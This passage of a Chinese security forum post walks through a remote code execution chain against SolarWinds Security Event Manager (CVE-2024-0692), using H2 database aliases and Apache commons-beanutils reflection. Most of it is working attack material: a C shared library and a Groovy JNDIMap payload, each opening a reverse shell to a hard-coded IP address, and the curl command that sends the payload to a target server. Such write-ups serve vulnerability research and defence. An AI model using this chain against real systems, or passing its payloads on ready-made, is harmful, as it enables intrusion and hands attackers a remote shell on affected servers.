复制代码


然后 CREATE ALIAS 本身只能调用静态方法, 限制太多, 需要找到一个能够调用实例方法的静态方法 (用于后续调用 getAbsolutePath 以获取 File 对象的文件路径)
org.apache.commons.beanutils.MethodUtils#invokeMethod(java.lang.Object, java.lang.String, java.lang.Object)
org.apache.commons.beanutils.MethodUtils#invokeStaticMethod(java.lang.Class<?>, java.lang.String, java.lang.Object)

  1. public static Object invokeMethod(Object object, String methodName, Object arg) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
  2.     Object[] args = toArray(arg);
  3.     return invokeMethod(object, methodName, args);
  4. }

  5. public static Object invokeStaticMethod(Class<?> objectClass, String methodName, Object arg) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
  6.     Object[] args = toArray(arg);
  7.     return invokeStaticMethod(objectClass, methodName, args);
  8. }
复制代码


到这里肯定会有一个问题, 既然能够调用实例方法, 那么为什么不直接 java.lang.Runtime.getRuntime().exec(cmd) ?
众所周知, 如果某个数据库支持调用外部方法, 那么就一定存在数据库类型与外部类型的映射
在 H2 中, Java 的 java.lang.Object 类型对应数据库的 JAVA_OBJECT 类型




JAVA_OBJECT 对应的 Java 对象必须是可序列化的 (Serializable)
假如要执行 java.lang.Runtime.getRuntime().exec(cmd), SQL 语句如下

  1. CREATE ALIAS INVOKE_STATIC_METHOD FOR '...'
  2. CREATE ALIAS INVOKE_METHOD FOR '...'
  3. CREATE ALIAS CLASS_FOR_NAME FOR '...'

  4. SET @clazz=CLASS_FOR_NAME('java.lang.Runtime')
  5. SET @runtime=INVOKE_STATIC_METHOD(@clazz, 'getRuntime', NULL)
  6. CALL INVOKE_METHOD(@runtime, 'exec', 'open -a Calculator')
复制代码


上述过程中 JVM 返回的 Class 对象和 Runtime 对象会被序列化保存在 H2 数据库的 clazz 和 runtime 变量内 (类型为 JAVA_OBJECT)
而 java.lang.Runtime 没有实现 Serializable 接口, 因此 SQL 语句会报错, 即需要保证过程中使用的所有变量都得是可序列化的
至于为什么还要专门找一个反射调用静态方法的 invokeStaticMethod, 这是因为上面通过 invokeMethod 调用 getAbsolutePath 返回的临时文件路径的类型为 java.lang.Object (实际上为 java.lang.String)
但是 H2 不支持 JAVA_OBJECT 与 VARCHAR (CHARACTER VARYING) 之间的类型转换, 也就无法将路径作为参数传入 java.lang.System.load(java.lang.String)
https://github.com/h2database/h2database/issues/3389
因此需要找到一个参数类型为 java.lang.Object 的静态方法 (invokeStaticMethod), 然后通过这个方法间接调用 System.load, 进而加载动态链接库实现 RCE
最后要注意编译出来的 .so 比较大, 转成 Hex 后字符串的长度过长, 直接写会报错, 需要分块写入
利用流程:
首先编写 exp.c

  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <string.h>

  4. __attribute__ ((__constructor__)) void preload (void){
  5.     system("bash -c 'bash -i >& /dev/tcp/100.109.34.110/4444 0>&1'");
  6. }
复制代码


编译
  1. # Linux amd64
  2. gcc -shared -fPIC exp.c -o exp.so
复制代码


根据之前的代码生成 payload.amf
然后将 Groovy payload 保存, 运行 JNDIMap

  1. java -jar JNDIMap.jar -f scripts/solarwinds-amf-rce-1.groovy -u "/Custom/x"
复制代码


curl 发送 amf payload
  1. curl https://192.168.30.131:8443/services/messagebroker/streamingamf -k -H "Content-Type: application/amf" --data-binary @payload.amf --output -
复制代码




ClassPathXmlApplicationContext
payload (Groovy)

  1. import map.jndi.server.WebServer

  2. import javax.naming.Reference
  3. import javax.naming.StringRefAddr

  4. // SolarWinds Security Event Manager AMF Deserialization RCE (CVE-2024-0692)
  5. // instantiate ClassPathXmlApplicationContext

  6. def list = []

  7. // drop the previous alias if exists
  8. list << "DROP ALIAS IF EXISTS INVOKE_CONSTRUCTOR"
  9. list << "DROP ALIAS IF EXISTS INVOKE_METHOD"
  10. list << "DROP ALIAS IF EXISTS URI_CREATE";
  11. list << "DROP ALIAS IF EXISTS CLASS_FOR_NAME"

  12. // alias some external Java methods
  13. list << "CREATE ALIAS INVOKE_CONSTRUCTOR FOR 'org.apache.commons.beanutils.ConstructorUtils.invokeConstructor(java.lang.Class, java.lang.Object)'"
  14. list << "CREATE ALIAS INVOKE_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeMethod(java.lang.Object, java.lang.String, java.lang.Object)'"
  15. list << "CREATE ALIAS URI_CREATE FOR 'java.net.URI.create(java.lang.String)'"
  16. list << "CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)'"

  17. // Spring XML content
  18. def content = '''<?xml version="1.0" encoding="UTF-8" ?>
  19.     <beans xmlns="http://www.springframework.org/schema/beans"
  20.        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  21.        xsi:schemaLocation="
  22.      http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  23.         <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
  24.             <constructor-arg>
  25.             <list>
  26.                 <value>bash</value>
  27.                 <value>-c</value>
  28.                 <value><![CDATA[bash -i >& /dev/tcp/100.109.34.110/4444 0>&1]]></value>
  29.             </list>
  30.             </constructor-arg>
  31.         </bean>
  32.     </beans>
  33. '''

  34. // host the xml on a web server
  35. def server = WebServer.getInstance()
  36. server.serveFile("/exp.xml", content.getBytes())

  37. def xml_url = "http://$server.ip:$server.port/exp.xml"

  38. // invoke URI.create() to create a URI object
  39. list << "SET @uri=URI_CREATE('$xml_url')"
  40. // invoke uri.toString() to transform the type of `xml_url` (from java.lang.String to java.lang.Object) to avoid H2 SQL convert error
  41. // because the return type of INVOKE_METHOD is java.lang.Object
  42. list << "SET @xml_url_obj=INVOKE_METHOD(@uri, 'toString', NULL)"
  43. // instantiate ClassPathXmlApplicationContext
  44. list << "SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext')"
  45. // the second parameter of INVOKE_CONSTRUCTOR requires java.lang.Object, so we use `xml_url_obj` instead of `xml_url`
  46. list << "CALL INVOKE_CONSTRUCTOR(@context_clazz, @xml_url_obj)"

  47. // use INIT property to execute multi SQL statements, and each statement must be separated by `\;`
  48. def url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=${list.join('\\;')}\\;"

  49. def ref = new Reference("javax.sql.DataSource", "com.zaxxer.hikari.HikariJNDIFactory", null)
  50. ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
  51. ref.add(new StringRefAddr("jdbcUrl", url));

  52. return ref
复制代码


ClassPathXmlApplicationContext 的利用思路很常见了, 在 PostgreSQL JDBC RCE 和 ActiveMQ RCE 中都出现过
需要找到一个能够调用构造函数的静态方法, 即通过 invokeConstructor 实例化 ClassPathXmlApplicationContext 加载 XML 实现 RCE
org.apache.commons.beanutils.ConstructorUtils#invokeConstructor(java.lang.Class<T>, java.lang.Object)

  1. public static <T> T invokeConstructor(Class<T> klass, Object arg) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
  2.     Object[] args = toArray(arg);
  3.     return invokeConstructor(klass, args);
  4. }
复制代码


还是得注意一个点, 前面说过 H2 不支持 JAVA_OBJECT 与 VARCHAR (CHARACTER VARYING) 之间的类型转换, 因此直接将 XML URL 传入 INVOKE_CONSTRUCTOR 会报错, 因为对应的 invokeConstructor 的第二个参数的类型为 java.lang.Object, 即 JAVA_OBJECT, 而 H2 字符串的类型为 VARCHAR (CHARACTER VARYING)
解决方法是通过一系列的反射操作拿到一个类型为 java.lang.Object 的对象 (实际上仍然为 java.lang.String)
这里我的思路是利用 URI.create 静态方法, 返回一个 URI 对象




然后通过 INVOKE_METHOD 调用其 toString 方法, 这样由于 invokeMethod 方法签名的原因, 会使得最终返回的对象被 H2 认为是 JAVA_OBJECT 类型
最后再将这个对象作为参数传入 INVOKE_CONSTRUCTOR 即可成功实例化 ClassPathXmlApplicationContext 实现 RCE
利用流程跟前面一样



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:40 , Processed in 0.020107 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表